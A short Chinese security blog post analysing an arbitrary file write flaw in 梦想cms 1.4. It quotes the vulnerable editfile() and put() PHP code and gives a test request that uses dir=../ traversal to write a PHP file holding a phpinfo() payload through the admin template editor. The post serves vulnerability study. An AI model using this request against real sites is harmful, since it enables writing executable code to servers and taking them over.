【文件写入】【梦想cms1.4】
方法
file_put_contents() 函数把一个字符串写入文件中。
思路
public function editfile(){ $dir = $_GET['dir']; //保存修改 if(isset($_POST['settemcontent'])){ if($this->config['template_edit']){ rewrite::js_back('系统设置禁止修改模板文件'); } file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent'])); addlog('修改模板文件'.$this->config['template'].$dir); rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir); exit(); }
public static function put($path,$data){ if(file_put_contents($path,$data) === false) rewrite::js_back('请检查【'.$path.'】是否有读写权限'); }
put方法通过file_put_contents()方法写入文件,由“$this->config['template'].$dir.'/'.$_POST['filename']”和“string::stripslashes($_POST['temcontent'])”控制输入

TemplateAction.class.php中通过editfile()函数调用put方法
测试

http://10.22.55.248:8083/admin.php?m=Template&a=editfile&dir=../
filename=123.php&temcontent=<?php phpinfo();?>&settemcontent=
苟利国家生死以,岂因福祸避趋之

浙公网安备 33010602011771号